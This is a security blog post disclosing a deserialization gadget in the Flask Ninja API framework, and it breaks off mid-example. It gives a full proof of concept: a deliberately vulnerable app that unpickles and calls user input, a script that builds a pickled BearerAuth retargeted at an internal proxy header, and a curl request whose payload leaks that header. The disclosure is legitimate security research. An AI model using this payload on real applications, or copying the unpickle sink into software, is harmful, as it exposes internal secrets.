Leaking internal headers in Flask Ninja with deserialization

0xcrypto1 pts0 comments

Leaking internal headers in Flask Ninja with deserialization | eval.blog💀">

Twitter

Reddit

Hacker News

Mastodon

WordPress

Hashnode

Medium

Print/PDF

Share on Mastodon<br>Enter your instance URL to proceed (e.g., mastodon.social):

mastodon.social<br>infosec.exchange<br>hachyderm.io<br>fosstodon.org<br>chaos.social<br>mstdn.social

Cancel<br>Share Now

Flask Ninja<br>is an API framework for Flask, inspired by Django Ninja and, like it, built on top of Pydantic<br>. Flask Ninja ships a neat HttpBearer abstract class so you can wire up token authentication in a couple of lines. HttpBearer.__call__ reads the credential from self.header, a plain instance attribute. So if an app ever deserializes untrusted data and calls the result, an attacker can hand it a pickled BearerAuth, the app&rsquo;s own auth class, with that attribute retargeted at a header the client can&rsquo;t see. Calling the object runs __call__ against the attacker&rsquo;s chosen header, and a very common developer pattern then reflects the header&rsquo;s value straight back, leaking secrets for example a reverse proxy injected headers behind the scenes.<br>This was reported to Kiwi.com through HackerOne on March 27, 2026 and closed as informative on April 15, without ever being triaged, on the grounds that it is a gadget rather than a standalone bug. In my opinion a framework should not leave gadgets behind as gadgets do the heavy lifting of deserialization attack, and closing the door on them is the framework&rsquo;s job, not the app developer&rsquo;s. After a 90-day disclosure window, the gadget still exists unpatched in Flask Ninja today.<br>Proof of Concept<br>Start with the target app. The developer sets up bearer-token authentication the ordinary Flask Ninja way: subclass HttpBearer, implement authenticate, and hand an instance to NinjaAPI, which calls it on every request to validate the token. Rejected tokens are reflected back in the 401 error, a common and seemingly harmless habit. Separately, the index endpoint carries a deserialization sink: it base64-decodes a query parameter, unpickles it, and calls the resulting object. main.py:<br>import base64<br>import pickle

from flask import Flask, abort, request<br>from flask_ninja import HttpBearer, NinjaAPI

app = Flask(__name__)

class BearerAuth(HttpBearer):<br>def authenticate(self, token):<br>if token == "test":<br>return True<br>abort(401, description=f"Invalid token: {token}")

api = NinjaAPI(app, auth=BearerAuth())

@api.get("/")<br>def index() -> dict:<br>user_input = request.args.get("data")<br>decoded_data = base64.b64decode(user_input)<br>deserialized = pickle.loads(decoded_data)<br>output = deserialized()

return {<br>"data": user_input,<br>"output": output,

if __name__ == "__main__":<br>app.run(debug=True)<br>The app runs behind a reverse proxy that adds an internal header to every request before it reaches Flask. nginx.conf:<br>events {}

http {<br>server {<br>listen 8080;

location / {<br>proxy_pass http://127.0.0.1:5000;

# an internal header<br>proxy_set_header Proxy-Token "bearer pwned";<br>Now the exploit. It pickles a plain BearerAuth, the app&rsquo;s own auth class, and overwrites the two attributes its inherited HttpBearer.__call__ trusts. header is set to the internal header we want to read, and openapi_scheme to the scheme that header&rsquo;s value starts with. When the sink unpickles this object and calls it, __call__ reads our chosen header instead of Authorization. exploit.py:<br>import base64<br>import pickle

from flask_ninja.security import HttpBearer

class BearerAuth(HttpBearer):<br>def authenticate(self, token):<br>if token == "test":<br>return True<br>return False

a = BearerAuth()<br>a.header = "Proxy-Token"<br>a.openapi_scheme = "bearer"

with open("bearerAuth.pickle", "wb") as f:<br>pickle.dump(a, f)<br>Generate the gadget, start the app, and start the proxy:<br># generate the pickle gadget<br>uv run exploit.py

# start the flask-ninja server<br>uv run main.py

# start nginx proxy<br>nginx -c $(pwd)/nginx.conf -g "daemon off;"<br>Send the base64 of bearerAuth.pickle as data. The deserialized object is called, __call__ reads Proxy-Token instead of Authorization, and the developer&rsquo;s abort() reflects the internal header straight back:<br>curl --request GET \<br>--url 'http://127.0.0.1:8080/?data=gASVVAAAAAAAAACMCF9fbWFpbl9flIwKQmVhcmVyQXV0aJSTlCmBlH2UKIwGaGVhZGVylIwLUHJveHktVG9rZW6UjA5vcGVuYXBpX3NjaGVtZZSMBmJlYXJlcpR1Yi4%3D' \<br>--header 'Authorization: Bearer test'<br>The response is a 401 whose body reflects Invalid token: pwned, the value of the internal Proxy-Token the client was never able to set:

The gadget does not depend on pickle. Because Flask Ninja apps hydrate objects from external data with Pydantic, the same attributes can be injected through config. Make BearerAuth a Pydantic model loaded from YAML (which could just as easily be a database row, as in a multi-tenant setup that builds an API per tenant). pydantic_example.py:<br>import yaml<br>from flask import Flask, abort, request<br>from flask.templating import render_template<br>from flask_ninja import NinjaAPI<br>from flask_ninja.security...

flask token header import from ninja

Related Articles